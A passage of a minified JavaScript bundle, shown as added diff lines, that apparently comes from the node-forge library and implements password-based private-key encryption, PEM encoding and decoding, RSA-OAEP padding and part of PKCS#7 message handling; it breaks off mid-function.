i.Type.SEQUENCE, + constructed: !0, + value: [{ + name: "PBES2Algorithms.params.salt", + tagClass: i.Class.UNIVERSAL, + type: i.Type.OCTETSTRING, + constructed: !1, + capture: "kdfSalt" + }, { + name: "PBES2Algorithms.params.iterationCount", + tagClass: i.Class.UNIVERSAL, + type: i.Type.INTEGER, + constructed: !1, + capture: "kdfIterationCount" + }, { + name: "PBES2Algorithms.params.keyLength", + tagClass: i.Class.UNIVERSAL, + type: i.Type.INTEGER, + constructed: !1, + optional: !0, + capture: "keyLength" + }, { + name: "PBES2Algorithms.params.prf", + tagClass: i.Class.UNIVERSAL, + type: i.Type.SEQUENCE, + constructed: !0, + optional: !0, + value: [{ + name: "PBES2Algorithms.params.prf.algorithm", + tagClass: i.Class.UNIVERSAL, + type: i.Type.OID, + constructed: !1, + capture: "prfOid" + }] + }] + }] + }, { + name: "PBES2Algorithms.encryptionScheme", + tagClass: i.Class.UNIVERSAL, + type: i.Type.SEQUENCE, + constructed: !0, + value: [{ + name: "PBES2Algorithms.encryptionScheme.oid", + tagClass: i.Class.UNIVERSAL, + type: i.Type.OID, + constructed: !1, + capture: "encOid" + }, { + name: "PBES2Algorithms.encryptionScheme.iv", + tagClass: i.Class.UNIVERSAL, + type: i.Type.OCTETSTRING, + constructed: !1, + capture: "encIv" + }] + }] + } + , f = { + name: "pkcs-12PbeParams", + tagClass: i.Class.UNIVERSAL, + type: i.Type.SEQUENCE, + constructed: !0, + value: [{ + name: "pkcs-12PbeParams.salt", + tagClass: i.Class.UNIVERSAL, + type: i.Type.OCTETSTRING, + constructed: !1, + capture: "salt" + }, { + name: "pkcs-12PbeParams.iterations", + tagClass: i.Class.UNIVERSAL, + type: i.Type.INTEGER, + constructed: !1, + capture: "iterations" + }] + }; + function v(r, e) { + return r.start().update(e).digest().getBytes() + } + function x(r) { + var e; + if (r) { + if (!(e = o.oids[i.derToOid(r)])) { + var t = new Error("Unsupported PRF OID."); + throw t.oid = r, + t.supported = ["hmacWithSHA1", "hmacWithSHA224", "hmacWithSHA256", "hmacWithSHA384", "hmacWithSHA512"], + t + } + } else + e = "hmacWithSHA1"; + return l(e) + } + function l(r) { + var e = n.md; + switch (r) { + case "hmacWithSHA224": + e = n.md.sha512; + case "hmacWithSHA1": + case "hmacWithSHA256": + case "hmacWithSHA384": + case "hmacWithSHA512": + r = r.substr(8).toLowerCase(); + break; + default: + var t = new Error("Unsupported PRF algorithm."); + throw t.algorithm = r, + t.supported = ["hmacWithSHA1", "hmacWithSHA224", "hmacWithSHA256", "hmacWithSHA384", "hmacWithSHA512"], + t + } + if (!(e && r in e)) + throw new Error("Unknown hash algorithm: " + r); + return e[r].create() + } + o.encryptPrivateKeyInfo = function(r, e, t) { + (t = t || {}).saltSize = t.saltSize || 8, + t.count = t.count || 2048, + t.algorithm = t.algorithm || "aes128", + t.prfAlgorithm = t.prfAlgorithm || "sha1"; + var a, s, c, f = n.random.getBytesSync(t.saltSize), v = t.count, x = i.integerToDer(v); + if (0 === t.algorithm.indexOf("aes") || "des" === t.algorithm) { + var d, h, p; + switch (t.algorithm) { + case "aes128": + a = 16, + d = 16, + h = u["aes128-CBC"], + p = n.aes.createEncryptionCipher; + break; + case "aes192": + a = 24, + d = 16, + h = u["aes192-CBC"], + p = n.aes.createEncryptionCipher; + break; + case "aes256": + a = 32, + d = 16, + h = u["aes256-CBC"], + p = n.aes.createEncryptionCipher; + break; + case "des": + a = 8, + d = 8, + h = u.desCBC, + p = n.des.createEncryptionCipher; + break; + default: + throw (E = new Error("Cannot encrypt private key. Unknown encryption algorithm.")).algorithm = t.algorithm, + E + } + var y = "hmacWith" + t.prfAlgorithm.toUpperCase() + , g = l(y) + , m = n.pkcs5.pbkdf2(e, f, v, a, g) + , C = n.random.getBytesSync(d); + (S = p(m)).start(C), + S.update(i.toDer(r)), + S.finish(), + c = S.output.getBytes(); + var b = function(r, e, t, a) { + var u = i.create(i.Class.UNIVERSAL, i.Type.SEQUENCE, !0, [i.create(i.Class.UNIVERSAL, i.Type.OCTETSTRING, !1, r), i.create(i.Class.UNIVERSAL, i.Type.INTEGER, !1, e.getBytes())]); + return "hmacWithSHA1" !== a && u.value.push(i.create(i.Class.UNIVERSAL, i.Type.INTEGER, !1, n.util.hexToBytes(t.toString(16))), i.create(i.Class.UNIVERSAL, i.Type.SEQUENCE, !0, [i.create(i.Class.UNIVERSAL, i.Type.OID, !1, i.oidToDer(o.oids[a]).getBytes()), i.create(i.Class.UNIVERSAL, i.Type.NULL, !1, "")])), + u + }(f, x, a, y); + s = i.create(i.Class.UNIVERSAL, i.Type.SEQUENCE, !0, [i.create(i.Class.UNIVERSAL, i.Type.OID, !1, i.oidToDer(u.pkcs5PBES2).getBytes()), i.create(i.Class.UNIVERSAL, i.Type.SEQUENCE, !0, [i.create(i.Class.UNIVERSAL, i.Type.SEQUENCE, !0, [i.create(i.Class.UNIVERSAL, i.Type.OID, !1, i.oidToDer(u.pkcs5PBKDF2).getBytes()), b]), i.create(i.Class.UNIVERSAL, i.Type.SEQUENCE, !0, [i.create(i.Class.UNIVERSAL, i.Type.OID, !1, i.oidToDer(h).getBytes()), i.create(i.Class.UNIVERSAL, i.Type.OCTETSTRING, !1, C)])])]) + } else { + var E; + if ("3des" !== t.algorithm) + throw (E = new Error("Cannot encrypt private key. Unknown encryption algorithm.")).algorithm = t.algorithm, + E; + a = 24; + var S, I = new n.util.ByteBuffer(f); + m = o.pbe.generatePkcs12Key(e, I, 1, v, a), + C = o.pbe.generatePkcs12Key(e, I, 2, v, a), + (S = n.des.createEncryptionCipher(m)).start(C), + S.update(i.toDer(r)), + S.finish(), + c = S.output.getBytes(), + s = i.create(i.Class.UNIVERSAL, i.Type.SEQUENCE, !0, [i.create(i.Class.UNIVERSAL, i.Type.OID, !1, i.oidToDer(u["pbeWithSHAAnd3-KeyTripleDES-CBC"]).getBytes()), i.create(i.Class.UNIVERSAL, i.Type.SEQUENCE, !0, [i.create(i.Class.UNIVERSAL, i.Type.OCTETSTRING, !1, f), i.create(i.Class.UNIVERSAL, i.Type.INTEGER, !1, x.getBytes())])]) + } + return i.create(i.Class.UNIVERSAL, i.Type.SEQUENCE, !0, [s, i.create(i.Class.UNIVERSAL, i.Type.OCTETSTRING, !1, c)]) + } + , + o.decryptPrivateKeyInfo = function(r, e) { + var t = null + , a = {} + , u = []; + if (!i.validate(r, s, a, u)) { + var c = new Error("Cannot read encrypted private key. ASN.1 object is not a supported EncryptedPrivateKeyInfo."); + throw c.errors = u, + c + } + var f = i.derToOid(a.encryptionOid) + , v = o.pbe.getCipher(f, a.encryptionParams, e) + , x = n.util.createBuffer(a.encryptedData); + return v.update(x), + v.finish() && (t = i.fromDer(v.output)), + t + } + , + o.encryptedPrivateKeyToPem = function(r, e) { + var t = { + type: "ENCRYPTED PRIVATE KEY", + body: i.toDer(r).getBytes() + }; + return n.pem.encode(t, { + maxline: e + }) + } + , + o.encryptedPrivateKeyFromPem = function(r) { + var e = n.pem.decode(r)[0]; + if ("ENCRYPTED PRIVATE KEY" !== e.type) { + var t = new Error('Could not convert encrypted private key from PEM; PEM header type is "ENCRYPTED PRIVATE KEY".'); + throw t.headerType = e.type, + t + } + if (e.procType && "ENCRYPTED" === e.procType.type) + throw new Error("Could not convert encrypted private key from PEM; PEM is encrypted."); + return i.fromDer(e.body) + } + , + o.encryptRsaPrivateKey = function(r, e, t) { + if (!(t = t || {}).legacy) { + var a = o.wrapRsaPrivateKey(o.privateKeyToAsn1(r)); + return a = o.encryptPrivateKeyInfo(a, e, t), + o.encryptedPrivateKeyToPem(a) + } + var u, s, c, f; + switch (t.algorithm) { + case "aes128": + u = "AES-128-CBC", + c = 16, + s = n.random.getBytesSync(16), + f = n.aes.createEncryptionCipher; + break; + case "aes192": + u = "AES-192-CBC", + c = 24, + s = n.random.getBytesSync(16), + f = n.aes.createEncryptionCipher; + break; + case "aes256": + u = "AES-256-CBC", + c = 32, + s = n.random.getBytesSync(16), + f = n.aes.createEncryptionCipher; + break; + case "3des": + u = "DES-EDE3-CBC", + c = 24, + s = n.random.getBytesSync(8), + f = n.des.createEncryptionCipher; + break; + case "des": + u = "DES-CBC", + c = 8, + s = n.random.getBytesSync(8), + f = n.des.createEncryptionCipher; + break; + default: + var v = new Error('Could not encrypt RSA private key; unsupported encryption algorithm "' + t.algorithm + '".'); + throw v.algorithm = t.algorithm, + v + } + var x = f(n.pbe.opensslDeriveBytes(e, s.substr(0, 8), c)); + x.start(s), + x.update(i.toDer(o.privateKeyToAsn1(r))), + x.finish(); + var l = { + type: "RSA PRIVATE KEY", + procType: { + version: "4", + type: "ENCRYPTED" + }, + dekInfo: { + algorithm: u, + parameters: n.util.bytesToHex(s).toUpperCase() + }, + body: x.output.getBytes() + }; + return n.pem.encode(l) + } + , + o.decryptRsaPrivateKey = function(r, e) { + var t = null + , a = n.pem.decode(r)[0]; + if ("ENCRYPTED PRIVATE KEY" !== a.type && "PRIVATE KEY" !== a.type && "RSA PRIVATE KEY" !== a.type) + throw (c = new Error('Could not convert private key from PEM; PEM header type is not "ENCRYPTED PRIVATE KEY", "PRIVATE KEY", or "RSA PRIVATE KEY".')).headerType = c, + c; + if (a.procType && "ENCRYPTED" === a.procType.type) { + var u, s; + switch (a.dekInfo.algorithm) { + case "DES-CBC": + u = 8, + s = n.des.createDecryptionCipher; + break; + case "DES-EDE3-CBC": + u = 24, + s = n.des.createDecryptionCipher; + break; + case "AES-128-CBC": + u = 16, + s = n.aes.createDecryptionCipher; + break; + case "AES-192-CBC": + u = 24, + s = n.aes.createDecryptionCipher; + break; + case "AES-256-CBC": + u = 32, + s = n.aes.createDecryptionCipher; + break; + case "RC2-40-CBC": + u = 5, + s = function(r) { + return n.rc2.createDecryptionCipher(r, 40) + } + ; + break; + case "RC2-64-CBC": + u = 8, + s = function(r) { + return n.rc2.createDecryptionCipher(r, 64) + } + ; + break; + case "RC2-128-CBC": + u = 16, + s = function(r) { + return n.rc2.createDecryptionCipher(r, 128) + } + ; + break; + default: + var c; + throw (c = new Error('Could not decrypt private key; unsupported encryption algorithm "' + a.dekInfo.algorithm + '".')).algorithm = a.dekInfo.algorithm, + c + } + var f = n.util.hexToBytes(a.dekInfo.parameters) + , v = s(n.pbe.opensslDeriveBytes(e, f.substr(0, 8), u)); + if (v.start(f), + v.update(n.util.createBuffer(a.body)), + !v.finish()) + return t; + t = v.output.getBytes() + } else + t = a.body; + return null !== (t = "ENCRYPTED PRIVATE KEY" === a.type ? o.decryptPrivateKeyInfo(i.fromDer(t), e) : i.fromDer(t)) && (t = o.privateKeyFromAsn1(t)), + t + } + , + o.pbe.generatePkcs12Key = function(r, e, t, a, i, o) { + var u, s; + if (null == o) { + if (!("sha1"in n.md)) + throw new Error('"sha1" hash algorithm unavailable.'); + o = n.md.sha1.create() + } + var c = o.digestLength + , f = o.blockLength + , v = new n.util.ByteBuffer + , x = new n.util.ByteBuffer; + if (null != r) { + for (s = 0; s < r.length; s++) + x.putInt16(r.charCodeAt(s)); + x.putInt16(0) + } + var l = x.length() + , d = e.length() + , h = new n.util.ByteBuffer; + h.fillWithByte(t, f); + var p = f * Math.ceil(d / f) + , y = new n.util.ByteBuffer; + for (s = 0; s < p; s++) + y.putByte(e.at(s % d)); + var g = f * Math.ceil(l / f) + , m = new n.util.ByteBuffer; + for (s = 0; s < g; s++) + m.putByte(x.at(s % l)); + var C = y; + C.putBuffer(m); + for (var b = Math.ceil(i / c), E = 1; E <= b; E++) { + var S = new n.util.ByteBuffer; + S.putBytes(h.bytes()), + S.putBytes(C.bytes()); + for (var I = 0; I < a; I++) + o.start(), + o.update(S.getBytes()), + S = o.digest(); + var T = new n.util.ByteBuffer; + for (s = 0; s < f; s++) + T.putByte(S.at(s % c)); + var A = Math.ceil(d / f) + Math.ceil(l / f) + , B = new n.util.ByteBuffer; + for (u = 0; u < A; u++) { + var w = new n.util.ByteBuffer(C.getBytes(f)) + , N = 511; + for (s = T.length() - 1; s >= 0; s--) + N >>= 8, + N += T.at(s) + w.at(s), + w.setAt(s, 255 & N); + B.putBuffer(w) + } + C = B, + v.putBuffer(S) + } + return v.truncate(v.length() - i), + v + } + , + o.pbe.getCipher = function(r, e, t) { + switch (r) { + case o.oids.pkcs5PBES2: + return o.pbe.getCipherForPBES2(r, e, t); + case o.oids["pbeWithSHAAnd3-KeyTripleDES-CBC"]: + case o.oids["pbewithSHAAnd40BitRC2-CBC"]: + return o.pbe.getCipherForPKCS12PBE(r, e, t); + default: + var n = new Error("Cannot read encrypted PBE data block. Unsupported OID."); + throw n.oid = r, + n.supportedOids = ["pkcs5PBES2", "pbeWithSHAAnd3-KeyTripleDES-CBC", "pbewithSHAAnd40BitRC2-CBC"], + n + } + } + , + o.pbe.getCipherForPBES2 = function(r, e, t) { + var a, u = {}, s = []; + if (!i.validate(e, c, u, s)) + throw (a = new Error("Cannot read password-based-encryption algorithm parameters. ASN.1 object is not a supported EncryptedPrivateKeyInfo.")).errors = s, + a; + if ((r = i.derToOid(u.kdfOid)) !== o.oids.pkcs5PBKDF2) + throw (a = new Error("Cannot read encrypted private key. Unsupported key derivation function OID.")).oid = r, + a.supportedOids = ["pkcs5PBKDF2"], + a; + if ((r = i.derToOid(u.encOid)) !== o.oids["aes128-CBC"] && r !== o.oids["aes192-CBC"] && r !== o.oids["aes256-CBC"] && r !== o.oids["des-EDE3-CBC"] && r !== o.oids.desCBC) + throw (a = new Error("Cannot read encrypted private key. Unsupported encryption scheme OID.")).oid = r, + a.supportedOids = ["aes128-CBC", "aes192-CBC", "aes256-CBC", "des-EDE3-CBC", "desCBC"], + a; + var f, v, l = u.kdfSalt, d = n.util.createBuffer(u.kdfIterationCount); + switch (d = d.getInt(d.length() << 3), + o.oids[r]) { + case "aes128-CBC": + f = 16, + v = n.aes.createDecryptionCipher; + break; + case "aes192-CBC": + f = 24, + v = n.aes.createDecryptionCipher; + break; + case "aes256-CBC": + f = 32, + v = n.aes.createDecryptionCipher; + break; + case "des-EDE3-CBC": + f = 24, + v = n.des.createDecryptionCipher; + break; + case "desCBC": + f = 8, + v = n.des.createDecryptionCipher + } + var h = x(u.prfOid) + , p = n.pkcs5.pbkdf2(t, l, d, f, h) + , y = u.encIv + , g = v(p); + return g.start(y), + g + } + , + o.pbe.getCipherForPKCS12PBE = function(r, e, t) { + var a = {} + , u = []; + if (!i.validate(e, f, a, u)) + throw (h = new Error("Cannot read password-based-encryption algorithm parameters. ASN.1 object is not a supported EncryptedPrivateKeyInfo.")).errors = u, + h; + var s, c, v, l = n.util.createBuffer(a.salt), d = n.util.createBuffer(a.iterations); + switch (d = d.getInt(d.length() << 3), + r) { + case o.oids["pbeWithSHAAnd3-KeyTripleDES-CBC"]: + s = 24, + c = 8, + v = n.des.startDecrypting; + break; + case o.oids["pbewithSHAAnd40BitRC2-CBC"]: + s = 5, + c = 8, + v = function(r, e) { + var t = n.rc2.createDecryptionCipher(r, 40); + return t.start(e, null), + t + } + ; + break; + default: + var h; + throw (h = new Error("Cannot read PKCS #12 PBE data block. Unsupported OID.")).oid = r, + h + } + var p = x(a.prfOid) + , y = o.pbe.generatePkcs12Key(t, l, 1, d, s, p); + return p.start(), + v(y, o.pbe.generatePkcs12Key(t, l, 2, d, c, p)) + } + , + o.pbe.opensslDeriveBytes = function(r, e, t, a) { + if (null == a) { + if (!("md5"in n.md)) + throw new Error('"md5" hash algorithm unavailable.'); + a = n.md.md5.create() + } + null === e && (e = ""); + for (var i = [v(a, r + e)], o = 16, u = 1; o < t; ++u, + o += 16) + i.push(v(a, i[u - 1] + r + e)); + return i.join("").substr(0, t) + } + } + , + 960: (r,e,t)=>{} + , + 953: (r,e,t)=>{ + var n = t(832); + t(116); + var a = r.exports = n.pem = n.pem || {}; + function i(r) { + for (var e = r.name + ": ", t = [], n = function(r, e) { + return " " + e + }, a = 0; a < r.values.length; ++a) + t.push(r.values[a].replace(/^(\S+\r\n)/, n)); + e += t.join(",") + "\r\n"; + var i = 0 + , o = -1; + for (a = 0; a < e.length; ++a, + ++i) + if (i > 65 && -1 !== o) { + var u = e[o]; + "," === u ? (++o, + e = e.substr(0, o) + "\r\n " + e.substr(o)) : e = e.substr(0, o) + "\r\n" + u + e.substr(o + 1), + i = a - o - 1, + o = -1, + ++a + } else + " " !== e[a] && "\t" !== e[a] && "," !== e[a] || (o = a); + return e + } + function o(r) { + return r.replace(/^\s+/, "") + } + a.encode = function(r, e) { + e = e || {}; + var t, a = "-----BEGIN " + r.type + "-----\r\n"; + if (r.procType && (a += i(t = { + name: "Proc-Type", + values: [String(r.procType.version), r.procType.type] + })), + r.contentDomain && (a += i(t = { + name: "Content-Domain", + values: [r.contentDomain] + })), + r.dekInfo && (t = { + name: "DEK-Info", + values: [r.dekInfo.algorithm] + }, + r.dekInfo.parameters && t.values.push(r.dekInfo.parameters), + a += i(t)), + r.headers) + for (var o = 0; o < r.headers.length; ++o) + a += i(r.headers[o]); + return r.procType && (a += "\r\n"), + (a += n.util.encode64(r.body, e.maxline || 64) + "\r\n") + "-----END " + r.type + "-----\r\n" + } + , + a.decode = function(r) { + for (var e, t = [], a = /\s*-----BEGIN ([A-Z0-9- ]+)-----\r?\n?([\x21-\x7e\s]+?(?:\r?\n\r?\n))?([:A-Za-z0-9+\/=\s]+?)-----END \1-----/g, i = /([\x21-\x7e]+):\s*([\x21-\x7e\s^:]+)/, u = /\r?\n/; e = a.exec(r); ) { + var s = e[1]; + "NEW CERTIFICATE REQUEST" === s && (s = "CERTIFICATE REQUEST"); + var c = { + type: s, + procType: null, + contentDomain: null, + dekInfo: null, + headers: [], + body: n.util.decode64(e[3]) + }; + if (t.push(c), + e[2]) { + for (var f = e[2].split(u), v = 0; e && v < f.length; ) { + for (var x = f[v].replace(/\s+$/, ""), l = v + 1; l < f.length; ++l) { + var d = f[l]; + if (!/\s/.test(d[0])) + break; + x += d, + v = l + } + if (e = x.match(i)) { + for (var h = { + name: e[1], + values: [] + }, p = e[2].split(","), y = 0; y < p.length; ++y) + h.values.push(o(p[y])); + if (c.procType) + if (c.contentDomain || "Content-Domain" !== h.name) + if (c.dekInfo || "DEK-Info" !== h.name) + c.headers.push(h); + else { + if (0 === h.values.length) + throw new Error('Invalid PEM formatted message. The "DEK-Info" header must have at least one subfield.'); + c.dekInfo = { + algorithm: p[0], + parameters: p[1] || null + } + } + else + c.contentDomain = p[0] || ""; + else { + if ("Proc-Type" !== h.name) + throw new Error('Invalid PEM formatted message. The first encapsulated header must be "Proc-Type".'); + if (2 !== h.values.length) + throw new Error('Invalid PEM formatted message. The "Proc-Type" header must have two subfields.'); + c.procType = { + version: p[0], + type: p[1] + } + } + } + ++v + } + if ("ENCRYPTED" === c.procType && !c.dekInfo) + throw new Error('Invalid PEM formatted message. The "DEK-Info" header must be present if "Proc-Type" is "ENCRYPTED".') + } + } + if (0 === t.length) + throw new Error("Invalid PEM formatted message."); + return t + } + } + , + 936: (r,e,t)=>{ + var n = t(832); + t(116), + t(563), + t(137); + var a = r.exports = n.pkcs1 = n.pkcs1 || {}; + function i(r, e, t) { + t || (t = n.md.sha1.create()); + for (var a = "", i = Math.ceil(e / t.digestLength), o = 0; o < i; ++o) { + var u = String.fromCharCode(o >> 24 & 255, o >> 16 & 255, o >> 8 & 255, 255 & o); + t.start(), + t.update(r + u), + a += t.digest().getBytes() + } + return a.substring(0, e) + } + a.encode_rsa_oaep = function(r, e, t) { + var a, o, u, s; + "string" == typeof t ? (a = t, + o = arguments[3] || void 0, + u = arguments[4] || void 0) : t && (a = t.label || void 0, + o = t.seed || void 0, + u = t.md || void 0, + t.mgf1 && t.mgf1.md && (s = t.mgf1.md)), + u ? u.start() : u = n.md.sha1.create(), + s || (s = u); + var c = Math.ceil(r.n.bitLength() / 8) + , f = c - 2 * u.digestLength - 2; + if (e.length > f) + throw (h = new Error("RSAES-OAEP input message length is too long.")).length = e.length, + h.maxLength = f, + h; + a || (a = ""), + u.update(a, "raw"); + for (var v = u.digest(), x = "", l = f - e.length, d = 0; d < l; d++) + x += "\0"; + var h, p = v.getBytes() + x + "" + e; + if (o) { + if (o.length !== u.digestLength) + throw (h = new Error("Invalid RSAES-OAEP seed. The seed length must match the digest length.")).seedLength = o.length, + h.digestLength = u.digestLength, + h + } else + o = n.random.getBytes(u.digestLength); + var y = i(o, c - u.digestLength - 1, s) + , g = n.util.xorBytes(p, y, p.length) + , m = i(g, u.digestLength, s); + return "\0" + n.util.xorBytes(o, m, o.length) + g + } + , + a.decode_rsa_oaep = function(r, e, t) { + var a, o, u; + "string" == typeof t ? (a = t, + o = arguments[3] || void 0) : t && (a = t.label || void 0, + o = t.md || void 0, + t.mgf1 && t.mgf1.md && (u = t.mgf1.md)); + var s = Math.ceil(r.n.bitLength() / 8); + if (e.length !== s) + throw (y = new Error("RSAES-OAEP encoded message length is invalid.")).length = e.length, + y.expectedLength = s, + y; + if (void 0 === o ? o = n.md.sha1.create() : o.start(), + u || (u = o), + s < 2 * o.digestLength + 2) + throw new Error("RSAES-OAEP key is too short for the hash function."); + a || (a = ""), + o.update(a, "raw"); + for (var c = o.digest().getBytes(), f = e.charAt(0), v = e.substring(1, o.digestLength + 1), x = e.substring(1 + o.digestLength), l = i(x, o.digestLength, u), d = i(n.util.xorBytes(v, l, v.length), s - o.digestLength - 1, u), h = n.util.xorBytes(x, d, x.length), p = h.substring(0, o.digestLength), y = "\0" !== f, g = 0; g < o.digestLength; ++g) + y |= c.charAt(g) !== p.charAt(g); + for (var m = 1, C = o.digestLength, b = o.digestLength; b < h.length; b++) { + var E = h.charCodeAt(b); + y |= E & (m ? 65534 : 0), + C += m &= 1 & E ^ 1 + } + if (y || 1 !== h.charCodeAt(C)) + throw new Error("Invalid RSAES-OAEP padding."); + return h.substring(C + 1) + } + } + , + 147: (r,e,t)=>{} + , + 437: (r,e,t)=>{ + var n = t(832); + t(925), + t(68), + t(480), + t(270), + t(953), + t(496), + t(563), + t(116), + t(414); + var a = n.asn1 + , i = r.exports = n.pkcs7 = n.pkcs7 || {}; + function o(r) { + var e = {} + , t = []; + if (!a.validate(r, i.asn1.recipientInfoValidator, e, t)) { + var o = new Error("Cannot read PKCS#7 RecipientInfo. ASN.1 object is not an PKCS#7 RecipientInfo."); + throw o.errors = t, + o + } + return { + version: e.version.charCodeAt(0), + issuer: n.pki.RDNAttributesAsArray(e.issuer), + serialNumber: n.util.createBuffer(e.serial).toHex(), + encryptedContent: { + algorithm: a.derToOid(e.encAlgorithm), + parameter: e.encParameter ? e.encParameter.value : void 0, + content: e.encKey + } + } + } + function u(r) { + var e = a.create(a.Class.UNIVERSAL, a.Type.SEQUENCE, !0, [a.create(a.Class.UNIVERSAL, a.Type.INTEGER, !1, a.integerToDer(r.version).getBytes()), a.create(a.Class.UNIVERSAL, a.Type.SEQUENCE, !0, [n.pki.distinguishedNameToAsn1({ + attributes: r.issuer + }), a.create(a.Class.UNIVERSAL, a.Type.INTEGER, !1, n.util.hexToBytes(r.serialNumber))]), a.create(a.Class.UNIVERSAL, a.Type.SEQUENCE, !0, [a.create(a.Class.UNIVERSAL, a.Type.OID, !1, a.oidToDer(r.digestAlgorithm).getBytes()), a.create(a.Class.UNIVERSAL, a.Type.NULL, !1, "")])]); + if (r.authenticatedAttributesAsn1 && e.value.push(r.authenticatedAttributesAsn1), + e.value.push(a.create(a.Class.UNIVERSAL, a.Type.SEQUENCE, !0, [a.create(a.Class.UNIVERSAL, a.Type.OID, !1, a.oidToDer(r.signatureAlgorithm).getBytes()), a.create(a.Class.UNIVERSAL, a.Type.NULL, !1, "")])), + e.value.push(a.create(a.Class.UNIVERSAL, a.Type.OCTETSTRING, !1, r.signature)), + r.unauthenticatedAttributes.length > 0) { + for (var t = a.create(a.Class.CONTEXT_SPECIFIC, 1, !0, []), i = 0; i < r.unauthenticatedAttributes.length; ++i) { + var o = r.unauthenticatedAttributes[i]; + t.values.push(s(o)) + } + e.value.push(t) + } + return e + } + function s(r) { + var e; + if (r.type === n.pki.oids.contentType) + e = a.create(a.Class.UNIVERSAL, a.Type.OID, !1, a.oidToDer(r.value).getBytes()); + else if (r.type === n.pki.oids.messageDigest) + e = a.create(a.Class.UNIVERSAL, a.Type.OCTETSTRING, !1, r.value.bytes()); + else if (r.type === n.pki.oids.signingTime) { + var t = new Date("1950-01-01T00:00:00Z") + , i = new Date("2050-01-01T00:00:00Z") + , o = r.value; + if ("string" == typeof o) { + var u = Date.parse(o); + o = isNaN(u) ? 13 === o.length ? a.utcTimeToDate(o) : a.generalizedTimeToDate(o) : new Date(u) + } + e = o >= t && o < i ? a.create(a.Class.UNIVERSAL, a.Type.UTCTIME, !1, a.dateToUtcTime(o)) : a.create(a.Class.UNIVERSAL, a.Type.GENERALIZEDTIME, !1, a.dateToGeneralizedTime(o)) + } + return a.create(a.Class.UNIVERSAL, a.Type.SEQUENCE, !0, [a.create(a.Class.UNIVERSAL, a.Type.OID, !1, a.oidToDer(r.type).getBytes()), a.create(a.Class.UNIVERSAL, a.Type.SET, !0, [e])]) + } + function c(r, e, t) { + var i = {}; + if (!a.validate(e, t, i, [])) { + var o = new Error("Cannot read PKCS#7 message. ASN.1 object is not a supported PKCS#7 message."); + throw o.errors = o, + o + } + if (a.derToOid(i.contentType) !== n.pki.oids.data) + throw new Error("Unsupported PKCS#7 message. Only wrapped ContentType Data supported."); + if (i.encryptedContent) { + var u = ""; + if (n.util.isArray(i.encryptedContent)) + for (var s = 0; s < i.encryptedContent.length; ++s) { + if (i.encryptedContent[s].type !== a.Type.OCTETSTRING) + throw new Error("Malformed PKCS#7 message, expecting encrypted content constructed of only OCTET STRING objects."); + u += i.encryptedContent[s].value + } + else + u = i.encryptedContent; + r.encryptedContent = { + algorithm: a.derToOid(i.encAlgorithm), + parameter: n.util.createBuffer(i.encParameter.value), + content: n.util.createBuffer(u) + } + } + if (i.content) { + if (u = "", + n.util.isArray(i.content)) + for (s = 0; s < i.content.length; ++s) { + if (i.content[s].type !== a.Type.OCTETSTRING) + throw new Error("Malformed PKCS#7 message, expecting content constructed of only OCTET STRING objects."); + u += i.content[s].value + } + else + u = i.content; + r.content = n.util.createBuffer(u) + } + return r.version = i.version.charCodeAt(0), + r.rawCapture = i, + i + } + function f(r) { + if (void 0 === r.encryptedContent.key) + throw new Error("Symmetric key not available."); + if (void 0 === r.content) { + var e; + switch (r.encryptedContent.algorithm) { + case n.pki.oids["aes128-CBC"]: + case n.pki.oids["aes192-CBC"]: + case n.pki.oids["aes256-CBC"]: + e = n.aes.createDecryptionCipher(r.encryptedContent.key); + break; + case n.pki.oids.desCBC: + case n.pki.oids["des-EDE3-CBC"]: + e = n.des.createDecryptionCipher(r.encryptedContent.key); + break; + default: + throw new Error("Unsupported symmetric cipher, OID " + r.encryptedContent.algorithm) + } + if (e.start(r.encryptedContent.parameter), + e.update(r.encryptedContent.content), + !e.finish()) + throw new Error("Symmetric decryption failed."); + r.content = e.output + } + } + i.messageFromPem = function(r) { + var e = n.pem.decode(r)[0]; + if ("PKCS7" !== e.type) { + var t = new Error('Could not convert PKCS#7 message from PEM; PEM header type is not "PKCS#7".'); + throw t.headerType = e.type, + t + } + if (e.procType && "ENCRYPTED" === e.procType.type) + throw new Error("Could not convert PKCS#7 message from PEM; PEM is encrypted."); + var o = a.fromDer(e.body); + return i.messageFromAsn1(o) + } + , + i.messageToPem = function(r, e) { + var t = { + type: "PKCS7", + body: a.toDer(r.toAsn1()).getBytes() + }; + return n.pem.encode(t, { + maxline: e + }) + } + , + i.messageFromAsn1 = function(r) { + var e = {} + , t = []; + if (!a.validate(r, i.asn1.contentInfoValidator, e, t)) { + var o = new Error("Cannot read PKCS#7 message. ASN.1 object is not an PKCS#7 ContentInfo."); + throw o.errors = t, + o + } + var u, s = a.derToOid(e.contentType); + switch (s) { + case n.pki.oids.envelopedData: + u = i.createEnvelopedData(); + break; + case n.pki.oids.encryptedData: + u = i.createEncryptedData(); + break; + case n.pki.oids.signedData: + u = i.createSignedData(); + break; + default: + throw new Error("Cannot read PKCS#7 message. ContentType with OID " + s + " is not (yet) supported.") + } + return u.fromAsn1(e.content.value[0]), + u + } + , + i.createSignedData = function() { + var r = null; + return r = { + type: n.pki.oids.signedData, + version: 1, + certificates: [], + crls: [], + signers: [], + digestAlgorithmIdentifiers: [], + contentInfo: null, + signerInfos: [], + fromAsn1: function(e) { + if (c(r, e, i.asn1.signedDataValidator), + r.certificates = [], + r.crls = [], + r.digestAlgorithmIdentifiers = [], + r.contentInfo = null, + r.signerInfos = [], + r.rawCapture.certificates) + for (var t = r.rawCapture.certificates.value, a = 0; a < t.length; ++a) + r.certificates.push(n.pki.certificateFromAsn1(t[a])) + }, + toAsn1: function() { + r.contentInfo || r.sign(); + for (var e = [], t = 0; t < r.certificates.length; ++t) + e.push(n.pki.certificateToAsn1(r.certificates[t])); + var i = [] + , o = a.create(a.Class.CONTEXT_SPECIFIC, 0, !0, [a.create(a.Class.UNIVERSAL, a.Type.SEQUENCE, !0, [a.create(a.Class.UNIVERSAL, a.Type.INTEGER, !1, a.integerToDer(r.version).getBytes()), a.create(a.Class.UNIVERSAL, a.Type.SET, !0, r.digestAlgorithmIdentifiers), r.contentInfo])]); + return e.length > 0 && o.value[0].value.push(a.create(a.Class.CONTEXT_SPECIFIC, 0, !0, e)), + i.length > 0 && o.value[0].value.push(a.create(a.Class.CONTEXT_SPECIFIC, 1, !0, i)), + o.value[0].value.push(a.create(a.Class.UNIVERSAL, a.Type.SET, !0, r.signerInfos)), + a.create(a.Class.UNIVERSAL, a.Type.SEQUENCE, !0, [a.create(a.Class.UNIVERSAL, a.Type.OID, !1, a.oidToDer(r.type).getBytes()), o]) + }, + addSigner: function(e) { + var t = 